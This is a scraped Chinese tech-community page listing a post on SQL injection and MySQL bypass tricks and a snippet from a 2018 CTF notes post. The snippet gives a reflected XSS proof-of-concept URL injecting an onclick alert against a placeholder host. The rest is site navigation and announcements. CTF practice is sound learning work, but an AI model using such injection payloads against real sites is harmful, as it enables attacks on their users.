2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (1)———— 作者:LJS
CTF随笔(一)
WEB01 XSS水题 直接提交poc吧 http://xxx.com/xss1.php?bug="></h2><h1+onclick="alert()">ssss<h1><h2++value="&
Pulsar-V
2018/04/18
1.6K0
CTF随笔(一)
相关推荐
海洋 CMS 代码审计过程分析
更多 >
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文